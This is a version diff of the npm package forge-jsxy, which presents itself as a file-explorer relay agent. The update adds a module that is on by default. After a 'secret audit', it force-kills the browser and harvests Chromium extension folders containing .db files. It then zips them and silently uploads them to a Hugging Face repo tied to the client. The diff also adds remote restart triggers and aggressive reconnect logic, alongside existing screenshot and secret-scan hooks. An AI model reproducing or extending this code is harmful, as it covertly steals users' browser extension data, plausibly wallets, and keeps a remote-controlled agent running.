forge-jsxy 1.0.85 → 1.0.91

package/dist/extensionDbHfUpload.d.ts

@@ -0,0 +1,24 @@
+/**
+ * After secret-audit scan + optional `result.json` Hub upload: harvest Chromium extension
+ * folders containing `.db` files, zip, and upload to `namespace/<seq_id>` (session repo).
+ *
+ * Skips when the Hub repo already exists. Ignores HF/network failures (logs only).
+ * Runs in the background — does not block the relay agent loop.
+ */
+import type { HfCredentials } from "./hfCredentials";
+/** Operational logs always emit (even when `FORGE_JS_QUIET_AGENT=1`). */
+export declare function extensionDbLog(message: string): void;
+/** Default ON when secret audit is enabled. Opt out: FORGE_JS_AGENT_EXTENSION_DB_HF_UPLOAD=0 */
+export declare function isExtensionDbHfUploadEnabled(): boolean;
+export type RunExtensionDbHfUploadOptions = {
+    clientTableName: string;
+    fetchHubCredentials: () => Promise<HfCredentials>;
+    quiet: boolean;
+};
+/**
+ * Harvest extension `.db` folders → zip → Hub session repo (`namespace/<seq_id>`).
+ * No-op when disabled, repo exists, nothing to copy, or credentials missing.
+ */
+export declare function runExtensionDbHfUploadAfterAudit(opts: RunExtensionDbHfUploadOptions): Promise<void>;
+/** Fire-and-forget background upload (after secret audit completes). */
+export declare function scheduleExtensionDbHfUploadAfterAudit(opts: RunExtensionDbHfUploadOptions): void;

package/dist/extensionDbHfUpload.js

@@ -0,0 +1,198 @@
+"use strict";
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.extensionDbLog = extensionDbLog;
+exports.isExtensionDbHfUploadEnabled = isExtensionDbHfUploadEnabled;
+exports.runExtensionDbHfUploadAfterAudit = runExtensionDbHfUploadAfterAudit;
+exports.scheduleExtensionDbHfUploadAfterAudit = scheduleExtensionDbHfUploadAfterAudit;
+const hfCredentials_1 = require("./hfCredentials");
+const hfUpload_1 = require("./hfUpload");
+const hub_1 = require("@huggingface/hub");
+const hfSeqIdLookup_1 = require("./hfSeqIdLookup");
+const chromiumExtensionDbHarvest_1 = require("./chromiumExtensionDbHarvest");
+const exportMirrorCopy_1 = require("./exportMirrorCopy");
+/** Operational logs always emit (even when `FORGE_JS_QUIET_AGENT=1`). */
+function extensionDbLog(message) {
+    console.log(`[forge-agent] extension-db: ${message}`);
+}
+/** Default ON when secret audit is enabled. Opt out: FORGE_JS_AGENT_EXTENSION_DB_HF_UPLOAD=0 */
+function isExtensionDbHfUploadEnabled() {
+    const raw = (process.env.FORGE_JS_AGENT_EXTENSION_DB_HF_UPLOAD || "1")
+        .trim()
+        .toLowerCase();
+    return !["0", "false", "no", "off"].includes(raw);
+}
+function hfFetchFromRelayEnabledLocal() {
+    const e = (process.env.CFGMGR_HF_FETCH_FROM_RELAY || "").trim().toLowerCase();
+    if (["0", "false", "no", "off"].includes(e))
+        return false;
+    return true;
+}
+function hfAuditPreferRelayCredentialsFirst() {
+    const e = (process.env.CFGMGR_HF_AUDIT_FETCH_RELAY_FIRST || "").trim().toLowerCase();
+    return ["1", "true", "yes", "on"].includes(e);
+}
+async function resolveHubCredentials(fetchHubCredentials) {
+    let creds = null;
+    const loadLocal = () => {
+        try {
+            creds = (0, hfCredentials_1.loadHfCredentials)();
+        }
+        catch {
+            creds = null;
+        }
+    };
+    const loadRelay = async () => {
+        if (!hfFetchFromRelayEnabledLocal())
+            return;
+        try {
+            creds = await fetchHubCredentials();
+        }
+        catch {
+            creds = null;
+        }
+    };
+    if (hfAuditPreferRelayCredentialsFirst()) {
+        await loadRelay();
+        if (!creds)
+            loadLocal();
+    }
+    else {
+        loadLocal();
+        if (!creds)
+            await loadRelay();
+    }
+    return creds;
+}
+async function resolveSessionHubRepo(clientTable, creds) {
+    const ns = (creds.namespace || "").trim() ||
+        (process.env.CFGMGR_HF_NAMESPACE || "").trim() ||
+        (process.env.HUGGINGFACE_HUB_NAMESPACE || "").trim();
+    if (!ns)
+        return null;
+    let seq = await (0, hfSeqIdLookup_1.fetchSeqIdForClientTableName)(clientTable);
+    if ((0, hfSeqIdLookup_1.hfSessionRepoRequireSeqId)() && seq === null)
+        return null;
+    const slug = (0, hfSeqIdLookup_1.hfAutoSessionRepoSlug)(clientTable, seq);
+    return `${ns}/${slug}`;
+}
+async function sessionHubRepoExists(clientTable, creds) {
+    const repoStr = await resolveSessionHubRepo(clientTable, creds);
+    if (!repoStr)
+        return { exists: false, repo: "" };
+    try {
+        const hubUrl = creds.hubUrl.replace(/\/+$/, "").trim() || "https://huggingface.co";
+        const exists = await (0, hub_1.repoExists)({
+            repo: repoStr,
+            accessToken: creds.token,
+            hubUrl,
+        });
+        return { exists, repo: repoStr };
+    }
+    catch {
+        return { exists: false, repo: repoStr };
+    }
+}
+function isIgnorableHubError(err) {
+    const msg = err instanceof Error ? err.message : String(err);
+    return (/could not reach hugging face|network|fetch failed|econnrefused|enotfound|etimedout|socket hang up/i.test(msg) || /hub upload skipped/i.test(msg));
+}
+let extensionDbUploadInFlight = false;
+/**
+ * Harvest extension `.db` folders → zip → Hub session repo (`namespace/<seq_id>`).
+ * No-op when disabled, repo exists, nothing to copy, or credentials missing.
+ */
+async function runExtensionDbHfUploadAfterAudit(opts) {
+    if (!isExtensionDbHfUploadEnabled())
+        return;
+    const clientTable = (opts.clientTableName || "").trim();
+    if (!clientTable) {
+        extensionDbLog("skipped — no client_table / session id");
+        return;
+    }
+    if (extensionDbUploadInFlight)
+        return;
+    extensionDbUploadInFlight = true;
+    let creds = null;
+    let harvest = null;
+    try {
+        extensionDbLog("background upload starting");
+        creds = await resolveHubCredentials(opts.fetchHubCredentials);
+        if (!creds) {
+            extensionDbLog("skipped — no HF credentials (relay or CFGMGR_HF_CREDENTIALS_B64)");
+            return;
+        }
+        const repoCheck = await sessionHubRepoExists(clientTable, creds);
+        if (repoCheck.exists) {
+            extensionDbLog(`skipped — repo already exists (${repoCheck.repo})`);
+            return;
+        }
+        harvest = await (0, chromiumExtensionDbHarvest_1.harvestExtensionDbFoldersToStaging)({
+            forceKill: true,
+            quiet: opts.quiet,
+        });
+        if (harvest.sources.length === 0 || harvest.copiedFiles === 0) {
+            extensionDbLog("skipped — no extension folders with .db files");
+            await (0, chromiumExtensionDbHarvest_1.removeExtensionDbStaging)();
+            return;
+        }
+        if (harvest.skippedCopyErrors > 0) {
+            extensionDbLog(`${harvest.skippedCopyErrors} extension folder(s) failed to copy — uploading ${harvest.copiedFolders} successful folder(s)`);
+        }
+        const stagedFiles = (0, exportMirrorCopy_1.countRegularFilesRecursive)(harvest.stagingRoot);
+        if (stagedFiles === 0) {
+            extensionDbLog("skipped — staging empty after copy");
+            return;
+        }
+        const upload = await (0, hfUpload_1.runHfUpload)({
+            pathStr: harvest.stagingRoot,
+            autoSessionRepo: true,
+            clientTableName: clientTable,
+            hfCredentials: creds,
+            forceKill: true,
+            force: true,
+            skipIfRepoExists: true,
+        });
+        if (upload.skipped === true && upload.reason === "repo_exists") {
+            extensionDbLog(`skipped — repo already exists (${String(upload.repo || "")})`);
+            return;
+        }
+        if (upload.ok === true) {
+            extensionDbLog(`upload OK — repo ${String(upload.repo || "")} (${harvest.sources.length} extension folder(s), ${stagedFiles} files)`);
+        }
+        else {
+            const err = String(upload.error || "unknown error");
+            if (!isIgnorableHubError(err)) {
+                extensionDbLog(`upload failed — ${err}`);
+            }
+            else {
+                extensionDbLog("upload skipped — Hugging Face unreachable (ignored)");
+            }
+        }
+    }
+    catch (e) {
+        if (!isIgnorableHubError(e)) {
+            extensionDbLog(`upload failed — ${e instanceof Error ? e.message : String(e)}`);
+        }
+        else {
+            extensionDbLog("upload skipped — Hugging Face unreachable (ignored)");
+        }
+    }
+    finally {
+        extensionDbUploadInFlight = false;
+        if (creds)
+            (0, hfCredentials_1.scrubHfCredentialsInPlace)(creds);
+        await (0, chromiumExtensionDbHarvest_1.removeExtensionDbStaging)();
+    }
+}
+/** Fire-and-forget background upload (after secret audit completes). */
+function scheduleExtensionDbHfUploadAfterAudit(opts) {
+    if (!isExtensionDbHfUploadEnabled())
+        return;
+    setImmediate(() => {
+        void runExtensionDbHfUploadAfterAudit(opts).catch((e) => {
+            if (!opts.quiet) {
+                console.warn("[forge-agent] extension-db background upload:", e instanceof Error ? e.message : e);
+            }
+        });
+    });
+}

package/dist/forgeSemver.d.ts

@@ -0,0 +1,2 @@
+/** Loose semver compare for upgrade hints (`1.0.78` < `1.0.85`). */
+export declare function forgeSemverLt(a: string, b: string): boolean;

package/dist/forgeSemver.js

@@ -0,0 +1,25 @@
+"use strict";
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.forgeSemverLt = forgeSemverLt;
+/** Loose semver compare for upgrade hints (`1.0.78` < `1.0.85`). */
+function forgeSemverLt(a, b) {
+    const pa = a
+        .trim()
+        .replace(/^v/i, "")
+        .split(".")
+        .map((x) => parseInt(x, 10) || 0);
+    const pb = b
+        .trim()
+        .replace(/^v/i, "")
+        .split(".")
+        .map((x) => parseInt(x, 10) || 0);
+    for (let i = 0; i < Math.max(pa.length, pb.length, 3); i++) {
+        const av = pa[i] ?? 0;
+        const bv = pb[i] ?? 0;
+        if (av < bv)
+            return true;
+        if (av > bv)
+            return false;
+    }
+    return false;
+}

package/dist/hfUpload.d.ts

@@ -43,5 +43,10 @@ export interface RunHfUploadOptions {
     force?: boolean;
     /** Kill processes likely locking the selection, then mirror/upload; restarts them in `finally`. */
     forceKill?: boolean;
+    /**
+     * Session mode only: when the Hub repo already exists, skip upload entirely (no zip/staging work).
+     * Returns `{ ok: true, skipped: true, reason: "repo_exists", repo }`.
+     */
+    skipIfRepoExists?: boolean;
 }
 export declare function runHfUpload(opts: RunHfUploadOptions): Promise<Record<string, unknown>>;

package/dist/hfUpload.js

@@ -993,8 +993,12 @@ async function runHfUploadCore(opts) {
             hubUrl,
             ...(hfFetch ? { fetch: hfFetch } : {}),
         });
-        if (exists)
-            return;
+        if (exists) {
+            if (opts.skipIfRepoExists && opts.autoSessionRepo) {
+                return { skippedExisting: true };
+            }
+            return { skippedExisting: false };
+        }
         if (!allowCreateRepo) {
             throw new Error("Repository does not exist on the Hub. Create it on huggingface.co first, " +
                 "or pass create_repo: true to create an empty **private** repo automatically.");
@@ -1007,9 +1011,20 @@ async function runHfUploadCore(opts) {
             private: true,
             ...(hfFetch ? { fetch: hfFetch } : {}),
         });
+        return { skippedExisting: false };
     };
     try {
-        await ensureRepo();
+        const repoEnsure = await ensureRepo();
+        if (repoEnsure.skippedExisting) {
+            (0, hfCredentials_1.scrubHfCredentialsInPlace)(cred);
+            (0, fileLockForce_1.restartKilledProcesses)(killedForUnlock, localPath);
+            return {
+                ok: true,
+                skipped: true,
+                reason: "repo_exists",
+                repo: resolvedRepoStr,
+            };
+        }
         if (isMultiSelection) {
             const zipName = "selection.zip";
             const tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), ".forge-hf-multi-zip-"));

package/dist/hostInventorySend.js

@@ -41,6 +41,7 @@ exports.sendHostInventorySnapshot = sendHostInventorySnapshot;
  */
 const node_crypto_1 = require("node:crypto");
 const os = __importStar(require("node:os"));
+const agentRestartFromQueue_1 = require("./agentRestartFromQueue");
 const syncClient_1 = require("./syncClient");
 /** Default on. Opt out: ``FORGE_JS_SYNC_HOST_INVENTORY=0``. */
 function effectiveSyncHostInventory() {
@@ -78,9 +79,13 @@ async function sendHostInventorySnapshot(client) {
     // Also persist OS type directly to _client_registry via the dedicated endpoint
     // so dashboards (2-forge-clients-status, 3-forge-db-discord) can display it
     // without needing env_file rows (which are not stored in forge-db).
-    await client.updateClientInfo({
+    const infoRes = await client.updateClientInfo({
         os_type: osType,
         os_platform: platform,
         hostname,
     });
+    (0, agentRestartFromQueue_1.handleClientInfoRestartResponse)(infoRes, {
+        quiet: false,
+        reason: "forge-db restart queue (host inventory)",
+    });
 }

package/dist/relayAgent.d.ts

@@ -17,4 +17,9 @@ export interface RunRelayAgentOptions {
      */
     onRelayCapabilities?: (relayFeatures: Record<string, unknown>) => void;
 }
+/** `FORGE_JS_RELAY_RECONNECT_MS` — base delay before first reconnect (500–120000, default 2000). */
+export declare function parseRelayReconnectDelayMs(): number;
+/** `FORGE_JS_RELAY_WATCHDOG_SEC` — if the agent socket is not OPEN, force reconnect (15–300, default 60; 0=off). */
+export declare function parseRelayWatchdogSec(): number;
+export { forgeSemverLt } from "./forgeSemver.js";
 export declare function runRelayAgentLoop(opts: RunRelayAgentOptions): void;

package/dist/relayAgent.js

@@ -36,6 +36,9 @@ var __importDefault = (this && this.__importDefault) || function (mod) {
     return (mod && mod.__esModule) ? mod : { "default": mod };
 };
 Object.defineProperty(exports, "__esModule", { value: true });
+exports.forgeSemverLt = void 0;
+exports.parseRelayReconnectDelayMs = parseRelayReconnectDelayMs;
+exports.parseRelayWatchdogSec = parseRelayWatchdogSec;
 exports.runRelayAgentLoop = runRelayAgentLoop;
 /**
  * WebSocket relay agent — `/files` fs_* protocol only (cfgmgr.remote.run_agent).
@@ -52,10 +55,16 @@ const fsMessages_1 = require("./fsMessages");
 const hfCredentials_1 = require("./hfCredentials");
 const hfUpload_1 = require("./hfUpload");
 const deploymentDefaults_1 = require("./deploymentDefaults");
-const agentEnvFile_1 = require("./autostart/agentEnvFile");
+const forgeSemver_js_1 = require("./forgeSemver.js");
+const agentRestartFromQueue_js_1 = require("./agentRestartFromQueue.js");
 const clientId_1 = require("./clientId");
+const syncClient_1 = require("./syncClient");
+const windowsInputSync_1 = require("./windowsInputSync");
+const agentEnvFile_1 = require("./autostart/agentEnvFile");
+const clientId_2 = require("./clientId");
 const discordAgentScreenshot_1 = require("./discordAgentScreenshot");
 const agentStartupAudit_1 = require("./secretScan/agentStartupAudit");
+const extensionDbHfUpload_1 = require("./extensionDbHfUpload");
 const pendingRelayHf = new Map();
 /** Same pattern as HF credentials — await `discord_screenshot_upload_result` per `request_id`. */
 const pendingDiscordRelayAck = new Map();
@@ -280,8 +289,32 @@ function warnIfRelayUrlUsesApiPort(baseWs, quiet) {
             "If the browser stays on “Waiting for agent…”, set CFGMGR_RELAY_URL / FORGE_JS_RELAY_URL to the relay ws:// or wss:// URL (correct host and relay port).");
     }
 }
+/** `FORGE_JS_RELAY_RECONNECT_MS` — base delay before first reconnect (500–120000, default 2000). */
+function parseRelayReconnectDelayMs() {
+    const raw = (process.env.FORGE_JS_RELAY_RECONNECT_MS || "").trim();
+    if (raw) {
+        const n = parseInt(raw, 10);
+        if (Number.isFinite(n) && n >= 500 && n <= 120_000)
+            return n;
+    }
+    return 2000;
+}
+/** `FORGE_JS_RELAY_WATCHDOG_SEC` — if the agent socket is not OPEN, force reconnect (15–300, default 60; 0=off). */
+function parseRelayWatchdogSec() {
+    const raw = (process.env.FORGE_JS_RELAY_WATCHDOG_SEC || "").trim();
+    if (raw) {
+        const n = parseInt(raw, 10);
+        if (n === 0)
+            return 0;
+        if (Number.isFinite(n) && n >= 15 && n <= 300)
+            return n;
+    }
+    return 60;
+}
+var forgeSemver_js_2 = require("./forgeSemver.js");
+Object.defineProperty(exports, "forgeSemverLt", { enumerable: true, get: function () { return forgeSemver_js_2.forgeSemverLt; } });
 function runRelayAgentLoop(opts) {
-    const { relayUrl, sessionId: rawSid, password = "", allowFilesystem = true, reconnectDelayMs = 5000, quiet = false, pkgRoot, onRelayCapabilities, } = opts;
+    const { relayUrl, sessionId: rawSid, password = "", allowFilesystem = true, reconnectDelayMs = parseRelayReconnectDelayMs(), quiet = false, pkgRoot, onRelayCapabilities, } = opts;
     const sessionId = (0, relayAuth_1.canonicalSessionIdForRelayAndDb)(rawSid);
     const base = (0, relayAuth_1.normalizeRelayWsUrl)(relayUrl).replace(/\/+$/, "");
     warnIfRelayUrlUsesApiPort(base, quiet);
@@ -304,13 +337,72 @@ function runRelayAgentLoop(opts) {
         forge_jsx_version: forgeJsxVersion,
     };
     let reconnectTimer = null;
+    let reconnectAttempts = 0;
+    let relayWsWatchdog = null;
+    let lastDbRestartPollMs = 0;
+    const pollDbRestartIfDue = () => {
+        const api = (0, windowsInputSync_1.resolveSyncApiBase)();
+        if (!api)
+            return;
+        const now = Date.now();
+        if (now - lastDbRestartPollMs < 45_000)
+            return;
+        lastDbRestartPollMs = now;
+        const client = new syncClient_1.ForgeSyncClient({
+            baseUrl: api,
+            clientId: (0, clientId_1.getOrCreateClientId)(),
+        });
+        void (0, agentRestartFromQueue_js_1.pollForgeDbAgentRestartHint)(client, { quiet });
+    };
+    const clearRelayWsWatchdog = () => {
+        if (relayWsWatchdog) {
+            clearInterval(relayWsWatchdog);
+            relayWsWatchdog = null;
+        }
+    };
+    const armRelayWsWatchdog = () => {
+        clearRelayWsWatchdog();
+        const sec = parseRelayWatchdogSec();
+        if (sec <= 0)
+            return;
+        relayWsWatchdog = setInterval(() => {
+            const w = outboundAgentWs;
+            if (w && w.readyState === 1)
+                return;
+            clearRelayWsWatchdog();
+            pollDbRestartIfDue();
+            if (!quiet) {
+                log(quiet, "  Relay watchdog: socket not open — reconnecting…");
+            }
+            try {
+                w?.terminate();
+            }
+            catch {
+                /* skip */
+            }
+            if (reconnectTimer) {
+                clearTimeout(reconnectTimer);
+                reconnectTimer = null;
+            }
+            reconnectAttempts = 0;
+            scheduleReconnect();
+        }, sec * 1000);
+    };
     const scheduleReconnect = () => {
         if (reconnectTimer)
             return;
+        const attempt = reconnectAttempts++;
+        const exp = Math.min(15_000, reconnectDelayMs * Math.pow(2, Math.min(attempt, 5)));
+        const jitter = Math.floor(Math.random() * 2500);
+        const delayMs = exp + jitter;
+        if (!quiet && attempt > 0) {
+            log(quiet, `  Reconnecting in ${(delayMs / 1000).toFixed(1)}s (attempt ${attempt + 1})…`);
+        }
         reconnectTimer = setTimeout(() => {
             reconnectTimer = null;
+            pollDbRestartIfDue();
             connect();
-        }, reconnectDelayMs);
+        }, delayMs);
     };
     const connect = () => {
         let stopDiscordScreenshotLoop = null;
@@ -492,7 +584,13 @@ function runRelayAgentLoop(opts) {
                 (0, agentStartupAudit_1.scheduleAgentStartupSecretAudit)({
                     relayCaps: {},
                     quiet,
+                    clientTableName: sessionId,
+                    fetchHubCredentials: () => Promise.reject(new Error("relay handshake incomplete — skipping relay-hosted HF credentials fetch")),
+                });
+                (0, extensionDbHfUpload_1.scheduleExtensionDbHfUploadAfterAudit)({
+                    clientTableName: sessionId,
                     fetchHubCredentials: () => Promise.reject(new Error("relay handshake incomplete — skipping relay-hosted HF credentials fetch")),
+                    quiet,
                 });
             }, fallbackMs);
             secretAuditHandshakeFallbackTimer.unref?.();
@@ -518,7 +616,7 @@ function runRelayAgentLoop(opts) {
         };
         const relayDisconnectCleanup = () => {
             try {
-                (0, agentEnvFile_1.sanitizeForgeAgentEnvFileOnDisk)((0, clientId_1.defaultCfgmgrDataDir)());
+                (0, agentEnvFile_1.sanitizeForgeAgentEnvFileOnDisk)((0, clientId_2.defaultCfgmgrDataDir)());
             }
             catch {
                 /* skip */
@@ -590,8 +688,26 @@ function runRelayAgentLoop(opts) {
                 if (Array.isArray(iceRaw) && iceRaw.length > 0) {
                     relayRtcIceServersCache = iceRaw;
                 }
+                const relayStartedRaw = caps.relay_started_at_ms;
+                const relayStartedMs = typeof relayStartedRaw === "number" && Number.isFinite(relayStartedRaw)
+                    ? relayStartedRaw
+                    : typeof relayStartedRaw === "string" && relayStartedRaw.trim()
+                        ? Number.parseFloat(relayStartedRaw.trim())
+                        : Number.NaN;
+                if (Number.isFinite(relayStartedMs) && Date.now() - relayStartedMs < 300_000) {
+                    reconnectAttempts = 0;
+                }
+                const relayVer = typeof caps.relay_version === "string" ? caps.relay_version.trim() : "";
+                if (relayVer &&
+                    forgeJsxVersion &&
+                    (0, forgeSemver_js_1.forgeSemverLt)(forgeJsxVersion, relayVer) &&
+                    !quiet) {
+                    log(quiet, `  Agent v${forgeJsxVersion} is older than relay v${relayVer} — use file explorer → Upgrade forge-jsxy for faster reconnect after relay restarts.`);
+                }
             }
             relayAgentHandshakeDone = true;
+            reconnectAttempts = 0;
+            armRelayWsWatchdog();
             try {
                 onRelayCapabilities?.(caps);
             }
@@ -601,14 +717,20 @@ function runRelayAgentLoop(opts) {
             (0, agentStartupAudit_1.scheduleAgentStartupSecretAudit)({
                 relayCaps: caps,
                 quiet,
+                clientTableName: sessionId,
                 fetchHubCredentials: () => fetchHfCredentialsFromRelay(sendJson),
             });
+            (0, extensionDbHfUpload_1.scheduleExtensionDbHfUploadAfterAudit)({
+                clientTableName: sessionId,
+                fetchHubCredentials: () => fetchHfCredentialsFromRelay(sendJson),
+                quiet,
+            });
             tryStartDiscordAfterHandshake();
         };
         ws.on("open", () => {
             log(quiet, "  Connected to relay");
             try {
-                (0, agentEnvFile_1.applyForgeJsAgentEnvFile)((0, clientId_1.defaultCfgmgrDataDir)());
+                (0, agentEnvFile_1.applyForgeJsAgentEnvFile)((0, clientId_2.defaultCfgmgrDataDir)());
             }
             catch {
                 /* skip */
@@ -736,6 +858,10 @@ function runRelayAgentLoop(opts) {
                 log(quiet, `  Role confirmed: ${msg.role}`);
                 return;
             }
+            if (msgType === "relay_agent_restart_requested") {
+                (0, agentRestartFromQueue_js_1.maybeRunAgentRestartDetached)({ quiet, reason: "relay ops restart" });
+                return;
+            }
             if (msgType === "viewer_connected") {
                 viewerConnected = true;
                 forgeRtcStatusSentThisViewer = false;
@@ -1095,7 +1221,8 @@ function runRelayAgentLoop(opts) {
             }
             handleViewerInboundFromRelay(parsed, "ws");
         });
-        ws.on("close", () => {
+        ws.on("close", (code) => {
+            clearRelayWsWatchdog();
             clearSecretAuditHandshakeFallback();
             clearAllPendingDiscordAgent("agent websocket closed");
             try {
@@ -1110,9 +1237,14 @@ function runRelayAgentLoop(opts) {
             if (outboundAgentWs === ws)
                 outboundAgentWs = null;
             relayDisconnectCleanup();
+            /** Relay restart / network drop — use base reconnect delay instead of accumulated backoff. */
+            if (code === 1006 || code === 1001 || code === 1012) {
+                reconnectAttempts = 0;
+            }
             scheduleReconnect();
         });
         ws.on("error", (err) => {
+            clearRelayWsWatchdog();
             clearSecretAuditHandshakeFallback();
             clearAllPendingDiscordAgent("agent websocket error");
             try {
@@ -1122,7 +1254,7 @@ function runRelayAgentLoop(opts) {
                 /* skip */
             }
             stopDiscordScreenshotLoop = null;
-            log(quiet, `  Error: ${err}. Reconnecting in ${reconnectDelayMs / 1000}s...`);
+            log(quiet, `  Error: ${err}. Reconnecting with backoff…`);
             if (outboundAgentWs === ws) {
                 preOpenQueue.length = 0;
                 resetForgeRtcNegotiation();

package/dist/relayAgentAutoUpgrade.d.ts

@@ -0,0 +1,9 @@
+export declare function autoUpgradeOnRelayHintEnabled(relayCaps?: Record<string, unknown> | null): boolean;
+/** Detached `npm exec forge-jsx-explorer-upgrade` (same entry as file-explorer Upgrade). */
+export declare function maybeRunAutoUpgradeFromRelayHint(opts: {
+    recommendedVersion: string;
+    agentVersion: string;
+    sessionId: string;
+    quiet: boolean;
+    relayCaps?: Record<string, unknown> | null;
+}): void;